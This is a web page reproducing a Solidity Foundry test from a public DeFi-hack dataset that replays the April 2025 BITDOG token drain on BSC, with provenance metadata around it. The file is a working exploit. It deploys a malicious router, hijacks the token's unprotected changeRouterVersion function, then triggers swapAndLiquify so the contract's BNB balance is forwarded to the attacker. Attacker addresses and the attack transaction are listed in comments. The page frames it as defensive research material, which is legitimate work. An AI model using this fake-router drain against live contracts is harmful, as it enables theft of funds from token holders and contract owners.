Skip to content
THREATWIRE

Public reproduction file

src/test/2025-04/bitdog_exp.sol

Public reproduction file for dataset entry bitdog.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-04/bitdog_exp.sol160 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2.10 BNB
8// Attacker : 0x7b6a1f878bf29430788e743ee149ed2a3202f136
9// Attack Contract : 0xdfdf4a3ec9ca12ccb46daabdc65b41ea852136ae
10// Vulnerable Contract : 0x4bbb53252b0cee84e6824e85989ea2eddeec25f1
11// Attack Tx : https://bscscan.com/tx/0xc0dcad5927446b9fa560be74a76efa0805e67d4c4cd486a48e9e4248287d777e
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x4bbb53252b0cee84e6824e85989ea2eddeec25f1#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/931
18//
19// Attack summary: The attacker replaced BITDOG's router and pair with an attacker-controlled helper,
20// then triggered BITDOG.swapAndLiquify with a zero-amount transfer. The fake router performed no swap,
21// so BITDOG treated its pre-existing BNB balance as swap proceeds and sent that balance to fake
22// addLiquidityETH, which forwarded it to the attacker.
23// Root cause: changeRouterVersion is public; the intended onlyOwner restriction is only a comment.
25address constant ATTACKER = 0x7B6A1F878bf29430788e743Ee149eD2a3202F136;
26address constant ROOT_ATTACK_CONTRACT = 0xDfdf4A3EC9CA12ccB46DAabDc65b41ea852136Ae;
27address constant TRACE_HELPER = 0xc4b9D3Ed47A92aDd82cFAaB96b2d1D57E6887F04;
28address constant BITDOG_TOKEN = 0x4BBb53252B0ceE84e6824e85989Ea2EddEec25F1;
29address constant ROUTER_BEFORE = 0xE0dce975e949Fd437BC5e1072734020dE780C0f9;
31interface IBITDOG {
32 function changeRouterVersion(
33 uint256 efgnffw,
34 address newRouterAddress
35 ) external returns (address newPairAddress);
36 function transfer(
37 address recipient,
38 uint256 amount
39 ) external returns (bool);
40 function balanceOf(
41 address account
42 ) external view returns (uint256);
43 function minimumTokensBeforeSwapAmount() external view returns (uint256);
44 function uniswapPair() external view returns (address);
45 function uniswapV2Router() external view returns (address);
46 function _addliquidiwafiwvq(
47 address account
48 ) external view returns (bool);
51contract ContractTest is BaseTestWithBalanceLog {
52 receive() external payable {}
54 function setUp() public {
55 vm.createSelectFork("bsc", 48_728_493);
57 fundingToken = address(0);
58 attacker = address(this);
60 vm.label(ATTACKER, "Attacker EOA");
61 vm.label(ROOT_ATTACK_CONTRACT, "Root Attack Contract");
62 vm.label(TRACE_HELPER, "Trace Helper");
63 vm.label(BITDOG_TOKEN, "BITDOG");
64 vm.label(ROUTER_BEFORE, "Original BITDOG Router/Pair");
65 }
67 function testExploit() public balanceLog {
68 IBITDOG bitdog = IBITDOG(BITDOG_TOKEN);
70 uint256 victimBNBBefore = BITDOG_TOKEN.balance;
71 assertEq(victimBNBBefore, 2_101_368_297_037_048_768);
72 assertEq(bitdog.balanceOf(BITDOG_TOKEN), 728_860_419_400_885_283_502);
73 assertEq(bitdog.minimumTokensBeforeSwapAmount(), 10_000_000_000_000_000_000);
74 assertEq(bitdog.uniswapPair(), ROUTER_BEFORE);
75 assertEq(bitdog.uniswapV2Router(), ROUTER_BEFORE);
77 MaliciousBITDOGRouter fakeRouter = new MaliciousBITDOGRouter(BITDOG_TOKEN, address(this));
78 assertFalse(bitdog._addliquidiwafiwvq(address(fakeRouter)));
80 // step 1: install an attacker-controlled router/pair through the public changeRouterVersion path.
81 fakeRouter.install();
83 assertEq(bitdog.uniswapPair(), address(fakeRouter));
84 assertEq(bitdog.uniswapV2Router(), address(fakeRouter));
85 assertTrue(bitdog._addliquidiwafiwvq(address(fakeRouter)));
87 // step 2: trigger swapAndLiquify. Amount zero is sufficient because the contract token balance
88 // already exceeds minimumTokensBeforeSwapAmount at the fork block.
89 bitdog.transfer(address(fakeRouter), 0);
91 uint256 victimBNBAfter = BITDOG_TOKEN.balance;
92 uint256 profit = address(this).balance;
94 assertEq(victimBNBAfter, 0);
95 assertEq(victimBNBBefore - victimBNBAfter, 2_101_368_297_037_048_768);
96 assertGt(profit, 2.1 ether);
97 }
100contract MaliciousBITDOGRouter {
101 address private immutable token;
102 address private immutable profitReceiver;
104 receive() external payable {}
106 constructor(
107 address _token,
108 address _profitReceiver
109 ) {
110 token = _token;
111 profitReceiver = _profitReceiver;
112 }
114 function install() external {
115 IBITDOG(token).changeRouterVersion(0, address(this));
116 }
118 function factory() external view returns (address) {
119 return address(this);
120 }
122 function WETH() external pure returns (address) {
123 return address(0);
124 }
126 function getPair(
127 address,
128 address
129 ) external view returns (address) {
130 return address(this);
131 }
133 function createPair(
134 address,
135 address
136 ) external view returns (address) {
137 return address(this);
138 }
140 function swapExactTokensForETHSupportingFeeOnTransferTokens(
141 uint256,
142 uint256,
143 address[] calldata,
144 address,
145 uint256
146 ) external {}
148 function addLiquidityETH(
149 address,
150 uint256 amountTokenDesired,
151 uint256,
152 uint256,
153 address,
154 uint256
155 ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity) {
156 (bool ok,) = profitReceiver.call{value: msg.value}("");
157 require(ok, "profit transfer failed");
158 return (amountTokenDesired, msg.value, 0);
159 }

Analysis

Dataset entry

Public Foundry test for “bitdog” (2025-04-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7b6a1f878bf29430788e743ee149ed2a3202f136

  • Attack Contract

    0xdfdf4a3ec9ca12ccb46daabdc65b41ea852136ae

  • Vulnerable Contract

    0x4bbb53252b0cee84e6824e85989ea2eddeec25f1

  • Attack Tx

    0xc0dcad5927446b9fa560be74a76efa0805e67d4c4cd486a48e9e4248287d777e

File record

Name
bitdog
Path
src/test/2025-04/bitdog_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
0b04e5519e5d7de61a70374394289b2561238054
Language
Solidity
Size
161 lines
Date
2025-04-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-04/bitdog_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0b04e5519e5d7de61a70374394289b2561238054, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.